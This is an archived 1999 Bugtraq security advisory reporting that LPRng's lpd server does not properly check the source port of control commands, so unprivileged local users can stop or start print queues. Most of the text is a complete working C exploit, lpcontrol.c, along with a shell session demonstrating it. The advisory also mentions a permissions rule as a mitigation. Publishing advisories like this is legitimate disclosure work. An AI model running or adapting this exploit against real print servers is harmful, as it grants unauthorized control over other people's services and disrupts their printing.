LPRng.txt

1999-09-21T00:00:00
ID PACKETSTORM:15682
Type packetstorm
Reporter Packet Storm
Modified 1999-09-21T00:00:00

Description

                                        
                                            `Subject: Security problem with LPRng  
To: BUGTRAQ@netspace.org   
  
  
Hi all,  
  
  
During some recent work I've been doing with LPRng, I found that is is  
possible (on a default LPRng installation) to control the print queues on  
the LPRng server.  
  
  
Most default installations allow the root user at the localhost to send  
control commands to the LPRng lpd server. The authentication used is to  
make sure that the packets are sent from a low (priviledged) source port  
(RFC1179 specifies ports 721-731, although the LPRng howto specifies that  
this has been extended to 512-1023). This is why the lpc utility is usually  
installed SUID root.  
  
  
However, it appears that LPRng's lpd server fails to check the source port  
correctly, so using a modified client that uses ports outside the allowed   
range the server will accept the command.  
  
  
An exploit that uses this technique to stop or start a print queue is appended   
to this advisory. It was written and tested on Debian GNU/Linux. It is used   
in the following way:  
  
  
host:~$ /usr/sbin/lpc status  
Printer Printing Spooling Jobs Server Slave Redirect Status/Debug  
lp@host enabled enabled 0 none none  
host:~$ gcc lpcontrol.c   
host:~$ ./a.out  
Usage: ./a.out printer [stop|start]  
host:~$ ./a.out lp stop  
host:~$ /usr/sbin/lpc status  
Printer Printing Spooling Jobs Server Slave Redirect Status/Debug  
lp@host disabled enabled 0 none none  
host:~$  
  
  
  
The author (papowell@astart.com) has been notified, but the problem has not  
been fully acknowledged. Aside from a lot of random (and generally useless)   
commentry regarding the insecurity of LPRng, NFS, SUID root programs, etc, the   
only usefull suggestion was to add  
  
  
REJECT=X NOT PORT=1-1023  
  
  
to the lpd.perms control file.  
  
  
One thing that he did mention is quoted below:  
  
  
> You don't consider SETUID ROOT programs such as a particular  
> implementation of lpq that has a stack overflow problem when  
> you return long status to be a problem...  
  
  
I haven't looked for stack overflows in detail yet, but this is a little  
conserning since the default is to install lpq, lpc, etc SUID root. While  
I hope to have a good look into it, the code is extremely difficult to follow.  
  
  
  
Have a nice day all,  
  
  
Chris Leishman  
  
  
  
  
---- start lpcontrol.c ----------------------------------------------  
/* Exploit for lprng's source port check failure.  
* Written and tested on Debian GNU/Linux  
*  
* Chris Leishman <masklin@debian.org>  
*/  
  
  
  
#include <stdlib.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <stdio.h>  
#include <unistd.h>  
#include <arpa/inet.h>  
#include <netinet/in.h>  
#include <netdb.h>  
#include <errno.h>  
#include <string.h>  
  
  
  
#define SRC_PORT 2056  
#define HOST "127.0.0.1"  
#define DST_PORT 515  
  
  
  
int main(int argc, char **argv)  
{  
int sock;  
struct sockaddr_in dest_sin;  
struct sockaddr_in src_sin;  
struct hostent *hp;  
unsigned long ipnum;  
char line[256];  
int mode = 0;  
  
  
if (argc < 2)  
{  
fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);  
exit(EXIT_FAILURE);  
}  
  
  
if (argc >= 3)  
{  
if (!strcmp(argv[2], "start"))  
mode = 1;  
else if (strcmp(argv[2], "stop"))  
{  
fprintf(stderr, "Invalid mode. Use stop or start.\n");  
fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);  
exit(EXIT_FAILURE);  
}  
}  
  
snprintf(line, sizeof(line), "%c%s root %s %s\n",   
6, argv[1], (mode)? "start":"stop", argv[1]);  
  
  
memset(&dest_sin, 0, sizeof(struct sockaddr_in));  
dest_sin.sin_port = htons((short) DST_PORT);  
  
  
ipnum = (unsigned long) inet_addr(HOST);  
if (ipnum != ((unsigned long) INADDR_NONE))  
{  
dest_sin.sin_family = AF_INET;  
dest_sin.sin_addr.s_addr = ipnum;  
}  
else  
{  
if ((hp = gethostbyname(HOST)) == NULL)  
{  
fprintf(stderr, "Host lookup failed.\n");  
exit(EXIT_FAILURE);  
}  
  
  
dest_sin.sin_family = hp->h_addrtype;  
memcpy(&dest_sin.sin_addr.s_addr,hp->h_addr_list[0],  
(size_t)hp->h_length);  
}  
  
  
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)  
{  
perror("Socket call failed");  
exit(EXIT_FAILURE);  
}  
  
  
src_sin.sin_family = AF_INET;  
src_sin.sin_addr.s_addr = INADDR_ANY;  
src_sin.sin_port = htons((u_short) SRC_PORT);  
  
  
if ((bind(sock, (struct sockaddr *)&src_sin, sizeof(src_sin))) < 0)  
{  
perror("Bind failed");  
exit(EXIT_FAILURE);  
}  
  
  
if (connect(sock, (struct sockaddr *)&dest_sin, sizeof(dest_sin)) < 0)  
{  
close(sock);  
perror("Connect failed");  
exit(EXIT_FAILURE);  
}  
  
  
if (write(sock, line, strlen(line)) <= 0)  
{  
perror("Write failed");  
exit(EXIT_FAILURE);  
}  
  
  
close(sock);  
  
  
return EXIT_SUCCESS;  
}  
  
  
---- stop lpcontrol.c -----------------------------------------------  
  
  
  
--   
----------------------------------------------------------------------  
As a computer, I find your faith in technology amusing.  
----------------------------------------------------------------------  
Reply with subject 'request key' for PGP public key. KeyID 0xA9E087D5  
  
  
Security problem with LPRng   
`